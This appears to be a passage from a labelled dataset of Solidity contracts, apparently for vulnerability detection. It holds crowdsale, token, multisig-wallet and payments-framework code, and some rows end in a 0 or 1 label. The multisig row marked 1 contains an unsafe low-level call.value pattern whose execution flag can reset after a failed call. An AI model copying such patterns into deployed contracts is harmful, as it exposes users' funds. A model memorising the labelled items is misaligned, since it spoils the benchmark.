require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap;
uint256 public soldTokens;
constructor(uint256 _tokenCap) public {
require(_tokenCap > 0);
tokenCap = _tokenCap;
}
function tokenCapReached() public view returns (bool) {
return soldTokens >= tokenCap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(soldTokens.add(_getTokenAmount(_weiAmount)) <= tokenCap);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
soldTokens = soldTokens.add(_getTokenAmount(_weiAmount));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
string public constant ROLE_OPERATOR = "operator";
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
uint256 public totalWeiRaised;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public weiContributions;
address[] public addresses;
constructor() public {}
function addBalance(
address _address,
uint256 _weiAmount,
uint256 _tokenAmount
)
public
onlyOperator
{
if (weiContributions[_address] == 0) {
addresses.push(_address);
}
weiContributions[_address] = weiContributions[_address].add(_weiAmount);
totalWeiRaised = totalWeiRaised.add(_weiAmount);
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addOperator(address _operator) public onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function getContributorsLength() public view returns (uint) {
return addresses.length;
}
}
contract DefaultCrowdsale is TimedCrowdsale, MintedCrowdsale, TokenCappedCrowdsale, TokenRecover {
Contributions public contributions;
uint256 public minimumContribution;
uint256 public maximumContribution;
uint256 public transactionCount;
constructor(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
uint256 _minimumContribution,
uint256 _maximumContribution,
address _token,
address _contributions
)
Crowdsale(_rate, _wallet, ERC20(_token))
TimedCrowdsale(_startTime, _endTime)
TokenCappedCrowdsale(_tokenCap)
public
{
require(_maximumContribution >= _minimumContribution);
require(_contributions != address(0));
minimumContribution = _minimumContribution;
maximumContribution = _maximumContribution;
contributions = Contributions(_contributions);
}
function started() public view returns(bool) {
return block.timestamp >= openingTime;
}
function ended() public view returns(bool) {
return hasClosed() || tokenCapReached();
}
function updateRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_weiAmount >= minimumContribution);
require(
contributions.weiContributions(_beneficiary).add(_weiAmount) <= maximumContribution
);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions.addBalance(
_beneficiary,
_weiAmount,
_getTokenAmount(_weiAmount)
);
transactionCount = transactionCount + 1;
}
}
contract TimedBonusCrowdsale is DefaultCrowdsale {
uint256[] public bonusDates;
uint256[] public bonusRates;
function setBonusRates(
uint256[] _bonusDates,
uint256[] _bonusRates
)
external
onlyOwner
{
require(!started());
require(_bonusDates.length == 2);
require(_bonusRates.length == 2);
require(_bonusDates[0] < _bonusDates[1]);
bonusDates = _bonusDates;
bonusRates = _bonusRates;
}
function _getTokenAmount(
uint256 _weiAmount
)
internal
view
returns (uint256)
{
uint256 bonusAmount = 0;
uint256 tokenAmount = super._getTokenAmount(_weiAmount);
if (bonusDates.length > 0) {
uint256 bonusPercent = 0;
if (block.timestamp < bonusDates[0]) {
bonusPercent = bonusRates[0];
} else if (block.timestamp < bonusDates[1]) {
bonusPercent = bonusRates[1];
}
if (bonusPercent > 0) {
bonusAmount = tokenAmount.mul(bonusPercent).div(100);
}
}
return tokenAmount.add(bonusAmount);
}
}
contract ForkIco is TimedBonusCrowdsale {
constructor(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
uint256 _minimumContribution,
uint256 _maximumContribution,
address _token,
address _contributions
)
DefaultCrowdsale(
_startTime,
_endTime,
_rate,
_wallet,
_tokenCap,
_minimumContribution,
_maximumContribution,
_token,
_contributions
)
public
{}
function adjustTokenCap(uint256 _newTokenCap) external onlyOwner {
require(_newTokenCap > 0);
tokenCap = _newTokenCap;
}
} | 0 | 1,959 |
pragma solidity ^0.4.25;
library Math {
function Mul(uint a,uint b) internal pure returns (uint) {
if(a==0) {
return 0;
}
uint res = a*b;
require(res/a == b,"Overflow in Multiply");
return res;
}
function Div(uint a,uint b) internal pure returns (uint) {
require(b>0,"Division by zero");
return (a/b);
}
function Mod(uint a, uint b) internal pure returns (uint) {
require(b>0,"Division by zero");
return (a%b);
}
function Add(uint a, uint b) internal pure returns (uint) {
uint res = a+b;
require(res>=a,"Overflow in Addition");
return res;
}
function Sub(uint a,uint b) internal pure returns (uint) {
require(a>=b,"Subtraction results in negative number");
return (a-b);
}
}
contract TEST_MultiSig {
using Math for uint256;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
uint256 expiration;
uint256 receivedConfirmations;
}
event LogMultiSigContractCreated(
uint256 numOwners,
uint256 numAllowedDestinations,
uint256 quorum,
uint256 maxTxValiditySeconds
);
event LogDestinationStatus(address destination,bool status);
event LogTransactionProposal(
uint256 indexed txId,
address destination,
uint256 value,
bytes data
);
event LogTransactionConfirmationRescission(
uint256 indexed txId,
address approver,
uint256 currentlyReceivedConfirmations
);
event LogTransactionExecutionSuccess(uint256 indexed txId);
event LogTransactionExecutionFailure(uint256 indexed txId);
event LogTransactionConfirmation(
uint256 indexed txId,
address indexed approver,
uint256 currentlyReceivedConfirmations
);
event LogDeposit(address depositer, uint256 depositedValue);
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
mapping (address => bool) public destinationAddressStatus;
address[] public owners;
uint256 public requiredConfirmations;
uint256 public transactionCount;
uint256 public maxValidTimeSecs;
uint256 constant MIN_OWNER_COUNT=3;
uint256 constant MIN_REQD_COUNT=2;
modifier onlyByThisAddress {
require(msg.sender == address(this),"onlyByThisAddress");
_;
}
modifier onlyByOwners {
require(isOwner[msg.sender],"onlyByOwners");
_;
}
modifier destinationStatusCheck(address _destination,bool _status) {
require(
destinationAddressStatus[_destination]==_status,
"Failed destinationStatusCheck"
);
_;
}
modifier awaitingConfirmation(uint256 _tx_id) {
require(!isConfirmed(_tx_id),"Already confirmed");
_;
}
modifier completedConfirmation(uint256 _tx_id) {
require(isConfirmed(_tx_id),"Not confirmed yet");
_;
}
modifier confirmationStatusCheck(
uint256 _tx_id,
address _sender,
bool _status
)
{
require(
confirmations[_tx_id][_sender]==_status,
"Failed confirmationStatusCheck"
);
_;
}
modifier awaitingExecution(uint256 _tx_id) {
require(
!isExecuted(_tx_id),
"Tx already executed"
);
_;
}
modifier awaitingExpiry(uint256 _tx_id) {
require(
!isExpired(_tx_id),
"Tx has expired"
);
_;
}
modifier validRequirement(uint _ownercount,uint _required) {
require(
(_ownercount>=MIN_OWNER_COUNT) &&
(_required >= MIN_REQD_COUNT) &&
(MIN_REQD_COUNT <= MIN_OWNER_COUNT),
"Constructor requirements not met"
);
_;
}
modifier validExpiration(uint256 _expiration) {
require(
_expiration>=now,
"time must be >= now"
);
require(
(_expiration-now)<maxValidTimeSecs,
"Expiration time is too far in the future"
);
_;
}
constructor(
address[] _owners,
address[] _allowed_destinations,
uint256 _required_confirmations,
uint256 _max_valid_time_secs
)
public
validRequirement(_owners.length,_required_confirmations)
{
for(uint256 i=0;i<_owners.length;i=i.Add(1)) {
require(_owners[i] != address(0));
require(!isOwner[_owners[i]]);
isOwner[_owners[i]]=true;
}
requiredConfirmations = _required_confirmations;
maxValidTimeSecs = _max_valid_time_secs;
owners = _owners;
destinationAddressStatus[address(this)] = true;
for(uint256 j=0;j<_allowed_destinations.length;j=j.Add(1)) {
destinationAddressStatus[_allowed_destinations[j]]=true;
}
emit LogMultiSigContractCreated(
_owners.length,
_allowed_destinations.length.Add(1),
_required_confirmations,
_max_valid_time_secs
);
}
function() public payable {
if(msg.value>0)
emit LogDeposit(msg.sender,msg.value);
}
function setDestinationAddressStatus(
address _destination,
bool _status
)
public
onlyByThisAddress
destinationStatusCheck(_destination,!_status)
{
require(
_destination!=address(this),
"contract can never disable calling itself"
);
destinationAddressStatus[_destination] = _status;
emit LogDestinationStatus(_destination,_status);
}
function proposeTx(
address _destination,
uint256 _value,
bytes _data,
uint256 _expiration
)
public
onlyByOwners
destinationStatusCheck(_destination,true)
validExpiration(_expiration)
returns (uint256 tx_id)
{
tx_id = _createTx(_destination,_value,_data,_expiration);
_confirmTx(tx_id);
}
function approveTx(uint256 _tx_id)
public
onlyByOwners
confirmationStatusCheck(_tx_id,msg.sender,false)
awaitingConfirmation(_tx_id)
awaitingExecution(_tx_id)
awaitingExpiry(_tx_id)
{
_confirmTx(_tx_id);
}
function revokeApprovalTx(uint256 _tx_id)
public
onlyByOwners
confirmationStatusCheck(_tx_id,msg.sender,true)
awaitingExecution(_tx_id)
awaitingExpiry(_tx_id)
{
_unconfirmTx(_tx_id);
}
function executeTx(uint256 _tx_id)
public
completedConfirmation(_tx_id)
awaitingExecution(_tx_id)
awaitingExpiry(_tx_id)
{
_executeTx(_tx_id);
}
function getNumberOfOwners()
external
view
returns (uint256)
{
return owners.length;
}
function isExecuted(uint256 _tx_id) internal view returns(bool) {
return transactions[_tx_id].executed;
}
function isExpired(uint256 _tx_id) internal view returns(bool) {
return (now>transactions[_tx_id].expiration);
}
function isConfirmed(uint256 _tx_id) internal view returns(bool) {
return
transactions[_tx_id].receivedConfirmations==requiredConfirmations;
}
function _createTx(
address _destination,
uint256 _value,
bytes _data,
uint256 _expiration
)
internal
returns (uint256 tx_id)
{
tx_id = transactionCount;
transactionCount=transactionCount.Add(1);
transactions[tx_id] = Transaction({
destination: _destination,
value: _value,
data: _data,
executed: false,
expiration: _expiration,
receivedConfirmations: 0
});
emit LogTransactionProposal(tx_id,_destination,_value,_data);
}
function _confirmTx(uint256 _tx_id)
internal
{
confirmations[_tx_id][msg.sender]=true;
transactions[_tx_id].receivedConfirmations=
transactions[_tx_id].receivedConfirmations.Add(1);
_executeTx(_tx_id);
emit LogTransactionConfirmation(
_tx_id,
msg.sender,
transactions[_tx_id].receivedConfirmations
);
}
function _unconfirmTx(uint256 _tx_id)
internal
{
confirmations[_tx_id][msg.sender]=false;
assert(transactions[_tx_id].receivedConfirmations!=0);
transactions[_tx_id].receivedConfirmations =
transactions[_tx_id].receivedConfirmations.Sub(1);
emit LogTransactionConfirmationRescission(
_tx_id,
msg.sender,
transactions[_tx_id].receivedConfirmations
);
}
function _executeTx(uint256 _tx_id)
internal
{
if(
(!isExecuted(_tx_id)) &&
(!isExpired(_tx_id)) &&
(isConfirmed(_tx_id))
)
{
transactions[_tx_id].executed = true;
bool result =
(transactions[_tx_id].destination)
.call
.value(transactions[_tx_id].value)
(transactions[_tx_id].data);
transactions[_tx_id].executed = result;
if(result)
{
emit LogTransactionExecutionSuccess(_tx_id);
}
else
{
emit LogTransactionExecutionFailure(_tx_id);
}
}
}
} | 1 | 2,976 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract Servable is Ownable {
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
emit RegisterServiceEvent(service);
}
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
emit DeregisterServiceEvent(service);
}
function enableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
emit EnableServiceActionEvent(service, action);
}
function disableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
emit DisableServiceActionEvent(service, action);
}
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
function isEnabledServiceAction(address service, string action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
function hashString(string _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
contract CommunityVote is Ownable {
mapping(address => bool) doubleSpenderByWallet;
uint256 maxDriipNonce;
uint256 maxNullNonce;
bool dataAvailable;
constructor(address deployer) Ownable(deployer) public {
dataAvailable = true;
}
function isDoubleSpenderWallet(address wallet)
public
view
returns (bool)
{
return doubleSpenderByWallet[wallet];
}
function getMaxDriipNonce()
public
view
returns (uint256)
{
return maxDriipNonce;
}
function getMaxNullNonce()
public
view
returns (uint256)
{
return maxNullNonce;
}
function isDataAvailable()
public
view
returns (bool)
{
return dataAvailable;
}
}
contract CommunityVotable is Ownable {
CommunityVote public communityVote;
bool public communityVoteFrozen;
event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote);
event FreezeCommunityVoteEvent();
function setCommunityVote(CommunityVote newCommunityVote)
public
onlyDeployer
notNullAddress(newCommunityVote)
notSameAddresses(newCommunityVote, communityVote)
{
require(!communityVoteFrozen);
CommunityVote oldCommunityVote = communityVote;
communityVote = newCommunityVote;
emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote);
}
function freezeCommunityVote()
public
onlyDeployer
{
communityVoteFrozen = true;
emit FreezeCommunityVoteEvent();
}
modifier communityVoteInitialized() {
require(communityVote != address(0));
_;
}
}
contract Beneficiary {
function receiveEthersTo(address wallet, string balanceType)
public
payable;
function receiveTokensTo(address wallet, string balanceType, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public;
}
library MonetaryTypesLib {
struct Currency {
address ct;
uint256 id;
}
struct Figure {
int256 amount;
Currency currency;
}
struct NoncedAmount {
uint256 nonce;
int256 amount;
}
}
contract AccrualBeneficiary is Beneficiary {
event CloseAccrualPeriodEvent();
function closeAccrualPeriod(MonetaryTypesLib.Currency[])
public
{
emit CloseAccrualPeriodEvent();
}
}
contract Benefactor is Ownable {
address[] internal beneficiaries;
mapping(address => uint256) internal beneficiaryIndexByAddress;
event RegisterBeneficiaryEvent(address beneficiary);
event DeregisterBeneficiaryEvent(address beneficiary);
function registerBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (beneficiaryIndexByAddress[beneficiary] > 0)
return false;
beneficiaries.push(beneficiary);
beneficiaryIndexByAddress[beneficiary] = beneficiaries.length;
emit RegisterBeneficiaryEvent(beneficiary);
return true;
}
function deregisterBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (beneficiaryIndexByAddress[beneficiary] == 0)
return false;
uint256 idx = beneficiaryIndexByAddress[beneficiary] - 1;
if (idx < beneficiaries.length - 1) {
beneficiaries[idx] = beneficiaries[beneficiaries.length - 1];
beneficiaryIndexByAddress[beneficiaries[idx]] = idx + 1;
}
beneficiaries.length--;
beneficiaryIndexByAddress[beneficiary] = 0;
emit DeregisterBeneficiaryEvent(beneficiary);
return true;
}
function isRegisteredBeneficiary(address beneficiary)
public
view
returns (bool)
{
return beneficiaryIndexByAddress[beneficiary] > 0;
}
function registeredBeneficiariesCount()
public
view
returns (uint256)
{
return beneficiaries.length;
}
}
library SafeMathIntLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != INT256_MIN || b != - 1);
return a / b;
}
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != - 1 || b != INT256_MIN);
require(b != - 1 || a != INT256_MIN);
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function div_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b > 0);
return a / b;
}
function mul_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a * b;
require(a == 0 || c / a == b);
require(c >= 0);
return c;
}
function sub_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0 && b <= a);
return a - b;
}
function add_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a + b;
require(c >= a);
return c;
}
function abs(int256 a)
public
pure
returns (int256)
{
return a < 0 ? neg(a) : a;
}
function neg(int256 a)
public
pure
returns (int256)
{
return mul(a, - 1);
}
function toNonZeroInt256(uint256 a)
public
pure
returns (int256)
{
require(a > 0 && a < (uint256(1) << 255));
return int256(a);
}
function toInt256(uint256 a)
public
pure
returns (int256)
{
require(a >= 0 && a < (uint256(1) << 255));
return int256(a);
}
function toUInt256(int256 a)
public
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
function isNonZeroPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a > 0);
}
function isPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a >= 0);
}
function isNonZeroNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a < 0);
}
function isNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a <= 0);
}
function clamp(int256 a, int256 min, int256 max)
public
pure
returns (int256)
{
if (a < min)
return min;
return (a > max) ? max : a;
}
function clampMin(int256 a, int256 min)
public
pure
returns (int256)
{
return (a < min) ? min : a;
}
function clampMax(int256 a, int256 max)
public
pure
returns (int256)
{
return (a > max) ? max : a;
}
}
library ConstantsLib {
function PARTS_PER()
public
pure
returns (int256)
{
return 1e18;
}
}
contract AccrualBenefactor is Benefactor {
using SafeMathIntLib for int256;
mapping(address => int256) private _beneficiaryFractionMap;
int256 public totalBeneficiaryFraction;
event RegisterAccrualBeneficiaryEvent(address beneficiary, int256 fraction);
event DeregisterAccrualBeneficiaryEvent(address beneficiary);
function registerBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
return registerFractionalBeneficiary(beneficiary, ConstantsLib.PARTS_PER());
}
function registerFractionalBeneficiary(address beneficiary, int256 fraction)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
require(fraction > 0);
require(totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER());
if (!super.registerBeneficiary(beneficiary))
return false;
_beneficiaryFractionMap[beneficiary] = fraction;
totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction);
emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction);
return true;
}
function deregisterBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (!super.deregisterBeneficiary(beneficiary))
return false;
totalBeneficiaryFraction = totalBeneficiaryFraction.sub(_beneficiaryFractionMap[beneficiary]);
_beneficiaryFractionMap[beneficiary] = 0;
emit DeregisterAccrualBeneficiaryEvent(beneficiary);
return true;
}
function beneficiaryFraction(address beneficiary)
public
view
returns (int256)
{
return _beneficiaryFractionMap[beneficiary];
}
}
contract TransferController {
event CurrencyTransferred(address from, address to, uint256 value,
address currencyCt, uint256 currencyId);
function isFungible()
public
view
returns (bool);
function receive(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function approve(address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function dispatch(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function getReceiveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("receive(address,address,uint256,address,uint256)"));
}
function getApproveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("approve(address,uint256,address,uint256)"));
}
function getDispatchSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("dispatch(address,address,uint256,address,uint256)"));
}
}
contract TransferControllerManager is Ownable {
struct CurrencyInfo {
bytes32 standard;
bool blacklisted;
}
mapping(bytes32 => address) public registeredTransferControllers;
mapping(address => CurrencyInfo) public registeredCurrencies;
event RegisterTransferControllerEvent(string standard, address controller);
event ReassociateTransferControllerEvent(string oldStandard, string newStandard, address controller);
event RegisterCurrencyEvent(address currencyCt, string standard);
event DeregisterCurrencyEvent(address currencyCt);
event BlacklistCurrencyEvent(address currencyCt);
event WhitelistCurrencyEvent(address currencyCt);
constructor(address deployer) Ownable(deployer) public {
}
function registerTransferController(string standard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(standard).length > 0);
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredTransferControllers[standardHash] == address(0));
registeredTransferControllers[standardHash] = controller;
emit RegisterTransferControllerEvent(standard, controller);
}
function reassociateTransferController(string oldStandard, string newStandard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(newStandard).length > 0);
bytes32 oldStandardHash = keccak256(abi.encodePacked(oldStandard));
bytes32 newStandardHash = keccak256(abi.encodePacked(newStandard));
require(registeredTransferControllers[oldStandardHash] != address(0));
require(registeredTransferControllers[newStandardHash] == address(0));
registeredTransferControllers[newStandardHash] = registeredTransferControllers[oldStandardHash];
registeredTransferControllers[oldStandardHash] = address(0);
emit ReassociateTransferControllerEvent(oldStandard, newStandard, controller);
}
function registerCurrency(address currencyCt, string standard)
external
onlyOperator
notNullAddress(currencyCt)
{
require(bytes(standard).length > 0);
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredCurrencies[currencyCt].standard == bytes32(0));
registeredCurrencies[currencyCt].standard = standardHash;
emit RegisterCurrencyEvent(currencyCt, standard);
}
function deregisterCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != 0);
registeredCurrencies[currencyCt].standard = bytes32(0);
registeredCurrencies[currencyCt].blacklisted = false;
emit DeregisterCurrencyEvent(currencyCt);
}
function blacklistCurrency(address currencyCt)
external
onlyOperator
{
